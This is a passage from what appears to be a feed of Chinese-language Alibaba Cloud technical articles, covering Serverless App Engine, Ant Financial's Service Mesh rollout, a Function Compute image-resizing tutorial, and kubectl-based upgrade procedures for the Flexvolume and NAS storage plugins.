          总之,DevOps强调的是高效组织团队之间如何通过自动化的工具协作和沟通来完成软件的生命周期管理,从而更快、更频繁地交付更稳定的软件。在内部沟通上,你可以想象DevOps是一个敏捷思維,是一个沟通的文化。当运营和研发有良好的沟通效率,才可以有更大的生产力。如果你的自动化程度够高,可以自主可控,工作负担降低,DevOps能够带来更好的工作文化、更高的工作效率。

        总结

          综上所述,云原生的DevOps、平台、持续交付、微服务都是云原生不可或缺的一部分,需要以全局地眼光看待问题,脱离任何一个元素,对于企业来说都是“管中窥豹”、“一叶障目”,只有加以整合才能见到云原生的全局风貌。
          面对业态各异的业务上云以及碎片化的物联网解决方案部署,利用云原生思维和模式,构建基于云原生的物联网平台以及解决方案,势必将加速企业,甚至整个社会的数字化转型。

        ]]>
        阿里云Serverless应用引擎(SAE)3大核心优势全解析 Fri, 02 May 2025 09:39:04 +0800 软件发展到今,企业业务系统日趋复杂,开发一个业务系统需要掌握和关注的知识点越来越多。除实现业务逻辑本身,还需考虑很多非业务的基础技术系统:如分布式cache和队列、基础服务能力集成、容量规划、弹性伸缩等。这种情况下,研发门槛逐渐上升,效率逐渐下降。企业很难做到低成本创新、试错和快速扩展业务。

        阿里云Serverless应用引擎(简称SAE)产品的出现,很好地解决了这类问题。帮助 PaaS 层用户免运维IaaS,按需使用,按量计费,提供了一系列通用能力,实现低门槛微服务/Web/多语言应用上云,有效解决成本及效率问题。

        免运维、省成本是所有Serverless产品的核心优势之一,SAE除了免运维底层IaaS外,还能让用户免部署和运维微服务注册中心等组件,提供生产级别稳定可靠的微服务托管能力;免部署和运维K8s集群,零容器基础的用户也能拥抱K8s带来的技术红利。

        10


        很多企业在云上都会部署多套环境,存在很大的闲置浪费。使用SAE的“一键启停开发测试环境”,按需释放闲置资源,节省成本,需要使用时一键秒级拉起。后续SAE考虑基于K8s强大的编排能力,编排应用所需的DB、应用和应用的依赖,一键初始化拉起一套全新环境,以及多环境的克隆复制等。

        11


        云时代下弹性已成为新常态,很多业务场景无法提前预知,如天猫双11、突发事件导致社交网站瞬时过载。和传统弹性方案相比,SAE在成本和效率上都能做到极致。基于监控触发按需弹,不会出现资源浪费/不足,在效率上免去ECS扩容和ECS启动的时间,能做到秒级弹性。

        12


        SAE三个主要指标数据:端到端启动时长20s,满足突发场景快速扩容的需要。支持0.5core的最小规格,进一步降低用户使用成本。部署一套日常环境成本节省47%~57%。

        13


        据Serverless应用引擎(SAE)产品经理黛忻介绍,SAE继续探索弹性效率和用户成本的优化方案,继续将一些基础技术归纳抽象下沉到平台,让创新业务成为企业的唯一关注点。
        据悉,阿里云是国内率先提供了面向应用的Serverless产品的云计算公司。截止目前,已有上百家企业通过 SAE 构建应用,实现业务的快速交付和IT成本优化。]]>
        蚂蚁金服 双11 Service Mesh 超大规模落地揭秘 Fri, 02 May 2025 09:39:04 +0800 点击下载《不一样的 双11 技术:阿里巴巴经济体云原生实践》

        ban.jpg

        本文节选自《不一样的 双11 技术:阿里巴巴经济体云原生实践》一书,点击上方图片即可下载!

        作者:
        黄挺,花名鲁直,蚂蚁金服微服务以及云原生方向负责人,主导蚂蚁金服的云原生落地。
        雷志远,花名碧远,蚂蚁金服 RPC 框架负责人

        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        引言

        Service Mesh 是蚂蚁金服下一代架构的核心,本主题主要分享在蚂蚁金服当前的体量下,我们如何做到在奔跑的火车上换轮子,将现有的 SOA 体系快速演进至 Service Mesh 架构。聚焦 RPC 层面的设计和改造方案,分享蚂蚁金服 双11 核心应用如何将现有的微服务体系平滑过渡到 Service Mesh 架构下并降低大促成本。

        蚂蚁金服每年 双11 大促会面临非常大的流量挑战,在已有 LDC 微服务架构下已支撑起弹性扩容能力。本次分享主要分为 4 部分:

        1. Service Mesh 简介;
        2. 为什么要 Service Mesh;
        3. 我们的方案是什么;
        4. 分时调度案例;

        Service Mesh 简介

        在讲具体的蚂蚁金服落地之前,想先和大家对齐一下 Service Mesh 的概念,和蚂蚁金服对应的产品。
        这张图大家可能不陌生,这是业界普遍认可的 Service Mesh 架构,那么对应到蚂蚁金服,蚂蚁金服的 Service Mesh 也分为控制面和数据面,分别叫做 SOFAMesh 和 SOFAMosn,其中 SOFAMesh 后面会以更加开放的姿态参与到 Istio 里面去。

        1.png

        今天我们讲的实践主要集中在 SOFAMosn 上,以下我的分享中提到的主要就是集中在数据面上的落地,这里面大家可以看到,我们有支持 HTTP/SOFARPC/Dubbo/WebService。

        为什么我们要 Service Mesh

        有了一个初步的了解之后,可能大家都会有这样一个疑问,你们为什么要 Service Mesh,我先给出结论:

        因为我们要解决在 SOA 下面,没有解决但亟待解决的:基础架构和业务研发的耦合,以及未来无限的对业务透明的稳定性与高可用相关诉求。

        那么接下来,我们一起先看看在没有 Service Mesh 之前的状况。

        在没有 Service Mesh 之前,整个 SOFAStack 技术演进的过程中,框架和业务的结合相当紧密,对于一些 RPC 层面的需求,比如流量调度,流量镜像,灰度引流等,是需要在 RPC 层面进行升级开发支持,同时,需要业务方来升级对应的中间件版本,这给我们带来了一些困扰和挑战。如图所示:

        2.png

        1. 线上客户端框架版本不统一;
        2. 业务和框架耦合,升级成本高,很多需求由于在客户端无法推动,需要在服务端做相应的功能,方案不够优雅;
        3. 机器逐年增加,如果不增加机器,如何度过 双11;
        4. 在基础框架准备完成后,对于新功能,不再升级给用户的 API 层是否可行; 
        5. 流量调拨,灰度引流,蓝绿发布,AB Test 等新的诉求;

        这些困扰着我们,我们知道在 SOA 的架构下,负责每个服务的团队都可以独立地去负责一个或者多个服务,这些服务的升级维护也不需要其他的团队的接入,SOA 其实做到了团队之间可以按照接口的契约来接耦。但是长期以来,基础设施团队需要推动很多事情,都需要业务团队进行紧密的配合,帮忙升级 JAR 包,基础设施团队和业务团队在工作上的耦合非常严重,上面提到的各种问题,包括线上客户端版本的不一致,升级成本高等等,都是这个问题带来的后果。

        而 Service Mesh 提供了一种可能性,能够将基础设施下沉,让基础设施团队和业务团队能够解耦,让基础设施和业务都可以更加快步地往前跑。

        3.png

        我们的方案

        说了这么多,那我们怎么解决呢?

        方案一:全部迁移到 Envoy?不现实,自有协议+历史负担。
        方案二:透明劫持?性能问题,且表达能力有限,运维和可监控性,风险不太可控。
        方案三:自研数据面,最终我们给出的答案是 SOFAMosn。

        总体

        4.png

        我们的 SOFAMosn 支持了 Pilot ,自有服务发现 SOFARegistry,和自有的消息组件,还有一些 DB 的组件。在产品层,提供给开发者,不同的能力,包括运维,监控,安全等能力,这个是目前我们的一个线上的状态。

        SOFARegistry 是蚂蚁金服开源的具有承载海量服务注册和订阅能力的、高可用的服务注册中心,在支付宝/蚂蚁金服的业务发展驱动下,近十年间已经演进至第五代。

        看上去很美好,要走到这个状态,我们要回答三个问题。

        5.png

        这三个问题后面,分别对应着业务的几大诉求,大家做过基础框架的应该比较有感触。

        框架升级方案

        准备开始升级之后,我们要分析目前我们的线上情况,而我们现在线上的情况,应用代码和框架有一定程度的解耦,用户面向的是一个 API,最终代码会被打包,在 SOFABoot 中运行起来。

        SOFABoot 是蚂蚁金服开源的基于 SpringBoot 的研发框架,它在 SpringBoot 的基础上,提供了诸如 Readiness Check,类隔离,日志空间隔离等能力。在增强了 SpringBoot 的同时,SOFABoot 提供了让用户可以在 SpringBoot 中非常方便地使用 SOFA 中间件的能力。

        6.png

        那么,我们就可以在风险评估可控的情况下,直接升级底层的 SOFABoot,在这里,我们的 RPC 会检测一些信息,来确定当前 Pod 是否需要开启 SOFAMosn 的能力。然后我们完成如下的步骤。

        7.png

        这里,我们通过检测 PaaS 传递的容器标识,知道自己是否开启了 SOFAMosn,则将发布和订阅给 SOFAMosn,然后调用不再寻址,直接完成调用。

        可以看到,我们通过批量的运维操作,直接修改了线上的 SOFABoot 版本,以此,来直接使得现有的应用具备了 SOFAMosn 的能力,有些同学可能会问,那你一直这么做不行吗?不行,因为这个操作时要配合流量关闭等操作来运行的,也不具备平滑升级的能力。而且直接和业务代码强相关。不适合长期操作。

        这里我们来详细回答一下,为什么不采用社区的流量劫持方案?

        主要的原因是一方面 iptables 在规则配置较多时,性能下滑严重。另一个更为重要的方面是它的管控性和可观测性不好,出了问题比较难排查。而 Service Mesh 从初期就把蚂蚁金服现在线上的系统全量切换 Mesh 作为目标,并不是只是跑跑 demo,所以我们对性能和运维的要求是非常高的,毕竟,技术架构升级,如果是以业务有损或者资源利用率大幅度上升,这是无论如何都不能接受的。

        容器替换方案

        解决了刚刚提到的第一个难题,也只是解决了可以做,而并不能做得好,更没有做得快,面对线上数十万,带着流量的业务容器, 我们如何立刻开始实现这些容器的快速稳定接入?

        这么大的量,按照传统的替换接入显然是很耗接入成本的事情,于是我们选择了原地接入,我们可以来看下两者的区别
        8.png

        在之前,我们做一些升级操作之类的,都是需要有一定的资源 Buffer,然后批量的进行操作,替换 Buffer 的不断移动,来完成升级的操作。这就要求 PaaS 层留有非常多的 Buffer,但是在 双11 的情况下,我们要求不增加机器,并且为了一个接入 SOFAMosn 的操作,反而需要更多的钱来买资源,这岂不是背离了我们的初衷。有人可能会问,不是还是增加了内存和 CPU 吗,这是提高了 CPU 利用率。以前业务的 CPU 利用率很低。并且这个是一个类似超卖的方案。看上去分配了。实际上基本没增加。

        可以看到, 通过 Paas 层,我们的 Operator 操作,直接在现有容器中注入,并原地重启,在容器级别完成升级。升级完成后,这个 Pod 就具备了 SOFAMosn 的能力。

        SOFAMosn 升级方案

        在快速接入的问题完成后,我们要面临第二个问题,由于是大规模的容器,所以 SOFAMosn 在开发过程中,势必会存在一些问题,出现问题,如何升级,要知道,线上几十万容器要升级一个组件的难度是很大的,因此,在版本初期,我们就考虑到 SOFAMosn 升级的方案。

        9.png

        能想到的最简单的方法,就是销毁容器,然后用新的来重建,但是在容器数量很多的时候,这种运维成本是不可接受的。如果销毁容器重建的速度不够快,就可能会影响业务的容量,造成业务故障。因此,我们在 SOFAMosn 层面,和 PaaS 一起,开发了无损流量升级的方案。

        10.png

        在这个方案中。SOFAMosn 会感知自己的状态,新的 SOFAMosn 启动会通过共享卷的 Domain Socket 来检测是否已有老的 SOFAMosn 在运行,如果有,则通知原有 SOFAMosn 进行平滑升级操作。

        11.png

        具体来说,SOFAMosn 启动的时候查看同 Pod 是否有运行的 SOFAMosn (通过共享卷的domain socket),如果存在,需要进入如下流程:
        1.New Mosn 通知 Old Mosn,进入平滑升级流程
        2.Old Mosn 把服务的 Listen Fd 传递给 New Mosn,New Mosn 接收 Fd 之后启动, 此时 Old 和 New Mosn 都正常提供服务。
        3.然后 New Mosn 通知 Old Mosn,关闭 Listen Fd,然后开始迁移存量的长链接。
        4.Old Mosn 迁移完成, 销毁容器。

        这样,我们就能做到,线上做任意的 SOFAMosn 版本升级,而不影响老的业务,这个过程中的技术细节,不做过多介绍,之后,SOFAStack 会有更详细的分享文章。

        分时调度案例

        技术的变革通常一定不是技术本身的诉求,一定是业务的诉求,是场景的诉求。没有人会为了升级而升级,为了革新而革新,通常,技术受业务驱动,也反过来驱动业务。

        在阿里经济体下,在不断的淘宝直播,实时红包,蚂蚁森林,各种活动的不断扩张中,给技术带了复杂了场景考验。

        这个时候,业务同学往往想的是什么?我的量快撑不住了,我的代码已经最优化了,我要扩容加机器,而更多的机器付出更多的成本,面对这样的情况,我们觉得应用 Service Mesh,是一个很好的解法。通过和 JVM, 系统部的配合,利用进阶的分时调度实现灵活的资源调度,不加机器。这个可以在资源调度下有更好的效果。

        12.png

        首先,我们假设有两个大的资源池的资源需求情况,可以看到在 X 点的时候,资源域 A 需要更多的资源,Y 点的时候,资源域 B 需要更多的资源,总量不得增加。那当然,我们就希望能借调机器。就像下面这样。

        请大家看左图。

        13.png

        在这个方案中, 我们需要先释放资源,然后销毁进程,然后开始重建资源,然后启动资源域 B 的资源。这个过程对于大量的机器,是很重的,而且变更就是风险,关键时候,做这种变更,很有可能带来衍生影响。

        而在 SOFAMosn 中,我们有了新的解法。如右图所示,有一部分资源,一直通过超卖,运行着两种应用,但是 X 点的时候,对于资源域 A,我们通过 SOFAMosn 来将流量全部转走,这样,应用的 CPU 和内存就被限制到非常低的情况,大概保留 1% 的能力。这样,机器依然可以预热,进程也不停。

        在这里。我们可以看这张图。

        14.png

        当需要比较大的资源调度的时候,我们推送一把开关,则资源限制打开,包活状态取消。资源域 B 瞬间可以满血复活。而资源域 A 此时进入上一个状态,CPU 和内存被限制。在这里,SOFAMosn 以一个极低的资源占用。完成流量保活的能力。使得资源的快速借调成为可能。

        我们对 Service Mesh 的思考与未来

        Service Mesh 在蚂蚁金服经过 2 年的沉淀,最终经过 双11 的检验,在 双11 ,我们覆盖了 200+ 的 双11 交易核心链路,Mosn 注入的容器数量达到了数十万,双11 当天处理的 QPS 达到了几千万,平均处理 RT<0.2 ms,SOFAMosn 本身在大促中间完成了数十次的在线升级,基本上达到了我们的预期,初步完成了基础设施和业务的第一步的分离,见证了 Mesh 化之后基础设施的迭代速度。

        不论何种架构,软件工程没有银弹。架构设计与方案落地总是一种平衡与取舍,目前还有一些 Gap 需要我们继续努力,但是我们相信,云原生是远方也是未来,经过我们两年的探索和实践,我们也积累了丰富的经验。

        我们相信,Service Mesh 可能会是云原生下最接近“银弹”的那一颗,未来 Service Mesh 会成为云原生下微服务的标准解决方案,接下来蚂蚁金服将和阿里集团一起深度参与到 Istio 社区中去,与社区一起把 Istio 打造成 Service Mesh 的事实标准。

        ban.jpg

        本书亮点

        • 双11 超大规模 K8s 集群实践中,遇到的问题及解决方法详述
        • 云原生化最佳组合:Kubernetes+容器+神龙,实现核心系统 100% 上云的技术细节
        • 双 11 Service Mesh 超大规模落地解决方案

        阿里巴巴云原生技术圈关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        快速搭建 Serverless 在线图片处理应用 Fri, 02 May 2025 09:39:04 +0800 作者:倚贤

        首先介绍下在本文出现的几个比较重要的概念:

        函数计算(Function Compute):函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息参考

        ImageMagick:ImageMagick 是一个用于查看、编辑位图文件以及进行图像格式转换的开放源代码软件套装。它可以读取、编辑超过100种图象格式。。参见维基百科词条

        ImageMagick 是图片处理的利器,借助 ImageMagick 可以轻松实现图片的裁剪和缩放。虽然很多语言都封装了 ImageMagick 的调用库,但是把图片处理功能和核心业务功能放在同一个服务内,在软件架构上往往不适合。有如下两方面的原因:

        一方面,图片处理依赖外部的 bin,已经编译好的二级制不具备可移植性,给打包发布带来了麻烦。另一方面,图片处理往往是比较耗费计算资源的,对于大多数业务系统来说图片处理属于边缘业务,而非核心业务,所以为整个服务预留较多的计算资源是不划算的。更好的选择是把图片处理类业务以微服务的形式切分出来,部署在具备弹性的底层服务之上。对于此类技术需求, Serverless 是非常切合的。

        本文重点介绍如何快速地在函数计算平台上部署一个弹性高可用的图片处理服务,然后在此基础上轻松的定制化。

        快速开始

        下面我们借助于函数计算的应用中心,快速地将图片转换服务给部署出来。

        1. 打开函数计算 Image Resizer 应用详情页。如果您尚未开通函数计算服务可能需要先,开通服务是免费的,另外函数计算有每月免费额度,试用服务不会产生费用。


        1.png

        1. 滚动到Image Resizer 应用详情页的最底部,点击“立即部署”按钮。


        2.png

        1. 填写应用名称:my-image-resizer,然后点击“部署”按钮。


        3.png

        1. 拷贝 HttpTriggerEndpoint 里的网址。


        4.png

        1. 在浏览器里打开上面的网址,或者通过 curl 进行调用。注意:由于没有绑定域名,所以应用中心会默认下载而不是直接在浏览器里打开图片。
        curl 'https://xxxxx.cn-shanghai.fc.aliyuncs.com/2016-08-15/proxy/my-image-resizer-ResizeService-5A40B5A8B981/my-image-resizer-ResizeFunction-3E71C57C0094/' --output resized.jpg

        工作原理

        这是一个单函数结合 Http Trigger 的应用。Http Trigger 以 HTTP GET 方法对外暴露服务,客户端传递三个请求参数:url、width 和 height。其中

        • url 表示需要进行处理的源图片地址
        • width 表示裁剪或缩放后的图片宽度
        • height 表示裁剪的图片宽度。该参数缺失时,表示采用缩放的方式调整图片。

        该应用的架构图如下:

        6.jpg

        FC 函数接受到 HTTP 请求之后,执行如下三个步骤:

        1. 把 url 指向的图片下载下来
        2. 使用 imagemagick 进行图片转换
        3. 将图片通过 http 协议返回给客户端

        上面我们通过了函数计算的应用中心快速上线了一个图片转换的服务。函数计算是按照调用次数收费的,所以上述服务即使保持在线也不会产生费用。而又因为函数计算每月有免费的额度,所以日常开发的调用也不会产生费用。

        定制化开发

        依赖工具

        本项目是在 MacOS 下开发的,涉及到的工具是平台无关的,对于 Linux 和 Windows 桌面系统应该也同样适用。在开始本例之前请确保如下工具已经正确的安装,更新到最新版本,并进行正确的配置。

        Fun 工具依赖于 docker 来模拟本地环境。

        对于 MacOS 用户可以使用 homebrew 进行安装:

        brew cask install docker
        brew tap vangie/formula
        brew install fun

        Windows 和 Linux 用户安装请参考:

        1. https://github.com/aliyun/fun/blob/master/docs/usage/installation.md

        安装好后,记得先执行 fun config 初始化一下配置。

        注意, 如果你已经安装过了 funcraft,确保 funcraft 的版本在 3.1.3 以上。

        $ fun --version
        3.1.3

        初始化

        git clone https://github.com/vangie/fc-image-resizer
        cd fc-image-resizer

        安装依赖

        npm install

        本地运行

        $ fun local start
        using template: .fun/build/artifacts/template.yml
        HttpTrigger httpTrigger of ResizeService/ResizeFunction was registered
                url: http://localhost:8000/2016-08-15/proxy/ResizeService/ResizeFunction
                methods: [ 'GET' ]
                authType: ANONYMOUS
        
        
        function compute app listening on port 8000!

        然后使用浏览器或者 curl 调试网址 http://localhost:8000/2016-08-15/proxy/ResizeService/ResizeFunction

        部署

        fun deploy

        为了获得更好的开发体验,建议安装 Aliyun Serverless VSCode Extension

        参考链接

        1. Funcraft
        2. Aliyun Serverless VSCode Extension

        阿里巴巴云原生技术圈关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        Flexvolume插件分批升级方案 Fri, 02 May 2025 09:39:04 +0800 Flexvolume支持在线自动升级,您可以登陆控制台实现一键升级,参考:https://help.aliyun.com/document_detail/100605.html

        Flexvolume升级不会影响您的应用,但是建议您可以选择在业务低峰的时候进行升级。您也可以参考本文给出的给flexvolume执行分配升级方案:

        Flexvolume分批升级原理:

        Daemonset更新策略支持:OnDelete、RollingUpdate两中模式,其中:

        • OnDelete:表示对DaemonSet更新模板后,pod不会马上升级,而是等待Pod删除重建的时候升级;
        • RollingUpdate:表示更新了模板Pod就会马上执行升级操作;

        默认情况下升级策略是RollingUpdate,为了实现分批升级功能,我们修改升级策略为OnDelete,然后手动升级一批节点,查看数据卷挂载状态,然后再一批一批的升级;

        Flexvolume分批升级步骤:

        记录升级前的Flexvolume版本:
        # kubectl describe ds flexvolume -nkube-system | grep Image
        
        给Flexvolume配置升级策略为OnDelete;
        # kubectl patch ds flexvolume -p '{"spec":{"updateStrategy":{"type":"OnDelete"}}}' -nkube-system
        
        检查Flexvolume升级策略更新是否成功;下面命令有输出即认为成功;
        # kubectl get ds flexvolume -nkube-system -oyaml | grep "type: OnDelete"
        
        部署新版本Flexvolume
        # kubectl apply -f flexvolume.yaml
        
        检查Flexvolume DaemonSet镜像已经更新,到这一步pod还没有更新;
        # kubectl describe ds flexvolume -nkube-system | grep Image
        Image:      registry.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.6.15-8d3b7e7-aliyun
        
        列出所有Flexvolume Pod;
        # kubectl get pod -nkube-system -nkube-system -owide | grep flexvolume
        
        分批升级:删除那个pod,pod重启后就会使用新镜像和配置;
        # kubectl delete pod ** -nkube-system
        
        检查所有pod是否已经是最新版本;
        # for podname in `kubectl get pod -nkube-system | grep flexvolume | awk '{print $1}'`; do kubectl describe pod $podname -nkube-system | grep Image: ;done
        
        将Flexvolume的更新策略修改为RollingUpdate;完成升级;
        # kubectl patch ds flexvolume -p '{"spec":{"updateStrategy":{"type":"RollingUpdate"}}}' -nkube-system

        Flexvolume部署模板:

        把下面模板的{{.Region}}字段换成您的集群region名。

        apiVersion: extensions/v1beta1
        kind: DaemonSet
        metadata:
          name: flexvolume
          namespace: kube-system
          labels:
            k8s-volume: flexvolume
        spec:
          selector:
            matchLabels:
              name: acs-flexvolume
          template:
            metadata:
              labels:
                name: acs-flexvolume
            spec:
              hostPID: true
              hostNetwork: true
              tolerations:
              - operator: "Exists"
              priorityClassName: system-node-critical
              affinity:
                nodeAffinity:
                  requiredDuringSchedulingIgnoredDuringExecution:
                    nodeSelectorTerms:
                    - matchExpressions:
                      - key: type
                        operator: NotIn
                        values:
                        - virtual-kubelet
              nodeSelector:
                beta.kubernetes.io/os: linux
              containers:
              - name: acs-flexvolume
                image: registry-vpc.{{.Region}}.aliyuncs.com/acs/flexvolume:v1.14.6.15-8d3b7e7-aliyun
                imagePullPolicy: Always
                securityContext:
                  privileged: true
                env:
                - name: ACS_DISK
                  value: "true"
                - name: ACS_NAS
                  value: "true"
                - name: ACS_OSS
                  value: "true"
                - name: ACS_CPFS
                  value: "false"
                resources:
                  limits:
                    cpu: 1000m
                    memory: 1000Mi
                  requests:
                    cpu: 100m
                    memory: 100Mi
                livenessProbe:
                  exec:
                    command:
                    - sh
                    - -c
                    - ps -ef |grep /acs/flexvolume | grep monitoring | grep -v grep
                  failureThreshold: 8
                  initialDelaySeconds: 15
                  periodSeconds: 10
                  successThreshold: 1
                  timeoutSeconds: 15
                volumeMounts:
                - name: usrdir
                  mountPath: /host/usr/
                - name: etcdir
                  mountPath: /host/etc/
                - name: logdir
                  mountPath: /var/log/alicloud/
              volumes:
              - name: usrdir
                hostPath:
                  path: /usr/
              - name: etcdir
                hostPath:
                  path: /etc/
              - name: logdir
                hostPath:
                  path: /var/log/alicloud/
          updateStrategy:
            type: RollingUpdate
        
        ]]>
        Alicloud-Nas-Controller插件升级 Fri, 02 May 2025 09:39:04 +0800 您在ACK集群中使用alicloud-nas-controller时,如果安装的版本较低,可以通过如下方式升级组件:

        当前集群状态:

        如果您使用的nas controller是早期版本,如下:

        apiVersion: extensions/v1beta1
        kind: Deployment
        metadata:
          labels:
            app: alicloud-nas-controller
          name: alicloud-nas-controller
          namespace: kube-system
        spec:
          selector:
            matchLabels:
              app: alicloud-nas-controller
          template:
            metadata:
              labels:
                app: alicloud-nas-controller
            spec:
              containers:
              - env:
                - name: PROVISIONER_NAME
                  value: alicloud/nas
                - name: NFS_SERVER
                  value: 2564f49129-**.cn-shenzhen.nas.aliyuncs.com
                - name: NFS_PATH
                  value: /
                image: registry.cn-hangzhou.aliyuncs.com/acs/alicloud-nas-controller:v3.1.0-k8s1.11
                imagePullPolicy: IfNotPresent
                name: alicloud-nas-controller
                volumeMounts:
                - mountPath: /persistentvolumes
                  name: nfs-client-root
              serviceAccount: admin
              serviceAccountName: admin
              tolerations:
              - effect: NoSchedule
                key: node-role.kubernetes.io/master
                operator: Exists
              - effect: NoSchedule
                key: node.cloudprovider.kubernetes.io/uninitialized
                operator: Exists
              volumes:
              - flexVolume:
                  driver: alicloud/nas
                  options:
                    path: /
                    server: 2564f49129-**.cn-shenzhen.nas.aliyuncs.com
                    vers: "4.0"
                name: nfs-client-root

        StorageClass配置如下:

        apiVersion: storage.k8s.io/v1
        kind: StorageClass
        metadata:
          name: alicloud-nas
        mountOptions:
        - vers=4.0
        provisioner: alicloud/nas
        reclaimPolicy: Retain

        集群中有应用使用上述controller配置创建了pvc/pv,并挂载到pod中使用:

        # kubectl describe pod web-nas-1 | grep ClaimName
            ClaimName:  html-web-nas-1
        
        # kubectl get pvc html-web-nas-1
        NAME             STATUS   VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS   AGE
        html-web-nas-1   Bound    pvc-2612b272-14e7-11ea-a9b7-00163e084110   2Gi        RWO            alicloud-nas   85m
        
        这时pv的配置为v4版本;
        # kubectl get pv pvc-2612b272-14e7-11ea-a9b7-00163e084110 -oyaml | grep mountOptions -A 6
          mountOptions:
          - vers=4.0
          nfs:
            path: /default-html-web-nas-1-pvc-2612b272-14e7-11ea-a9b7-00163e084110
            server: 2564f49129-**.cn-shenzhen.nas.aliyuncs.com
          persistentVolumeReclaimPolicy: Retain
          storageClassName: alicloud-nas

        PV新诉求

        登陆Pod所在节点,查看挂载nas的参数为:

        # mount | grep nfs
        2564f49129-**.cn-shenzhen.nas.aliyuncs.com:/default-html-web-nas-1-pvc-2612b272-14e7-11ea-a9b7-00163e084110 on /var/lib/kubelet/pods/32222e36-14f2-11ea-a9b7-00163e084110/volumes/kubernetes.io~nfs/pvc-2612b272-14e7-11ea-a9b7-00163e084110 type nfs4 (rw,relatime,vers=4.0,rsize=1048576,wsize=1048576,namlen=255,hard,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.1.25,local_lock=none,addr=192.168.1.152)

        如果你希望更新nas挂载参数,期望修改pv的mountOptions参数,例如配置为下面参数:

        - nolock,tcp,noresvport
        - vers=3
        

        执行编辑命令:

        # kubectl edit pv pvc-2612b272-14e7-11ea-a9b7-00163e084110

        将mountOptions参数更新为:

          mountOptions:
          - nolock,tcp,noresvport
          - vers=3

        重启Pod:

        # kubectl delete pod web-nas-1
        
        登陆Pod所在节点插件nas挂载参数:可见已经配置了noresvport等参数;
        # mount | grep nfs
        2564f49129-**.cn-shenzhen.nas.aliyuncs.com:/default-html-web-nas-1-pvc-2612b272-14e7-11ea-a9b7-00163e084110 on /var/lib/kubelet/pods/ba374a37-14f3-11ea-a9b7-00163e084110/volumes/kubernetes.io~nfs/pvc-2612b272-14e7-11ea-a9b7-00163e084110 type nfs (rw,relatime,vers=3,rsize=1048576,wsize=1048576,namlen=255,hard,nolock,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,mountaddr=192.168.1.152,mountvers=3,mountport=4002,mountproto=tcp,local_lock=all,addr=192.168.1.152)

        通过上面方法,可以对当前已经生成的NAS PV进行更新,并通过重启Pod使其生效。(注意:noresvport参数生效有其特殊性,咨询nas技术支持。)

        升级Nas Controller:

        上面的文档只是把老版本生成的pv更新挂载参数,只有更新了nas controller版本后才能使后续生成的pv自动使用新挂载参数。

        新Controller模板:

        kind: Deployment
        apiVersion: extensions/v1beta1
        metadata:
          name: alicloud-nas-controller
          namespace: kube-system
        spec:
          strategy:
            type: Recreate
          template:
            metadata:
              labels:
                app: alicloud-nas-controller
            spec:
              tolerations:
              - operator: Exists
              affinity:
                nodeAffinity:
                  preferredDuringSchedulingIgnoredDuringExecution:
                  - weight: 1
                    preference:
                      matchExpressions:
                      - key: node-role.kubernetes.io/master
                        operator: Exists
              priorityClassName: system-node-critical
              serviceAccount: admin
              hostNetwork: true
              containers:
                - name: nfs-provisioner
                  image: registry.cn-hangzhou.aliyuncs.com/acs/alicloud-nas-controller:v1.14.3.8-58bf821-aliyun
                  env:
                  - name: PROVISIONER_NAME
                    value: alicloud/nas
                  securityContext:
                    privileged: true
                  volumeMounts:
                  - mountPath: /var/log
                    name: log
              volumes:
              - hostPath:
                  path: /var/log
                name: log

        通过下面命令重建Nas Controller:

        # kubectl delete deploy alicloud-nas-controller
        # kubectl create -f controller.yaml

        StorageClass更新:

        apiVersion: storage.k8s.io/v1
        kind: StorageClass
        metadata:
          name: alicloud-nas
        mountOptions:
        - nolock,tcp,noresvport
        - vers=3
        parameters:
          server: "2564f49129-**.cn-shenzhen.nas.aliyuncs.com:/"
          driver: nfs
        provisioner: alicloud/nas
        reclaimPolicy: Retain

        通过下面命令更新StorageClass:

        # kubectl delete sc alicloud-nas
        # kubectl create -f stroageclass.yaml

        验证:

        扩容应用Pod数量,生成新PVC、PV:

        # kubectl get pv default-html-web-nas-5-pvc-91f37aa0-14f6-11ea-a9b7-00163e084110 -oyaml| grep mountOptions -A 6
          mountOptions:
          - nolock,tcp,noresvport
          - vers=3
          nfs:
            path: /default-html-web-nas-5-pvc-91f37aa0-14f6-11ea-a9b7-00163e084110
            server: 2564f49129-**.cn-shenzhen.nas.aliyuncs.com
          persistentVolumeReclaimPolicy: Retain

        查看Pod挂载信息,noresvport等参数均已配置成功:

        2564f49129-**.cn-shenzhen.nas.aliyuncs.com:/default-html-web-nas-5-pvc-91f37aa0-14f6-11ea-a9b7-00163e084110 on /var/lib/kubelet/pods/4bc4bb3e-14f7-11ea-a9b7-00163e084110/volumes/kubernetes.io~nfs/default-html-web-nas-5-pvc-91f37aa0-14f6-11ea-a9b7-00163e084110 type nfs (rw,relatime,vers=3,rsize=1048576,wsize=1048576,namlen=255,hard,nolock,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,mountaddr=192.168.1.152,mountvers=3,mountport=4002,mountproto=tcp,local_lock=all,addr=192.168.1.152)
        ]]>
        数据卷挂载问题快速恢复 Fri, 02 May 2025 09:39:04 +0800 Pod挂载、卸载数据卷出现问题的原因很多,有存储卷设计的缺陷、有相关组件实现的bug、有使用方式不当的可能,面对复杂的应用、存储交互系统,我们需要从两个方面对待数据卷问题:

        • 尽量别出问题:减少存储组件的自身稳定性 && 规范的使用方式。
        • 如何面对问题:首要是快速恢复业务,然后分析问题。

        本文阐述的是业务快速恢复方案:当Pod因为数据卷挂载重启失败时,暂不去解决节点挂载的问题,而是让pod先在其他节点启动成功,快速恢复业务,待业务恢复后再去分析出问题的节点。

        更新一个Pod,卡在了 ContainerCreating 状态:

        例如:你在Deployment类型应用中挂载NAS数据卷,Pod在启动的时候报错为挂载失败:

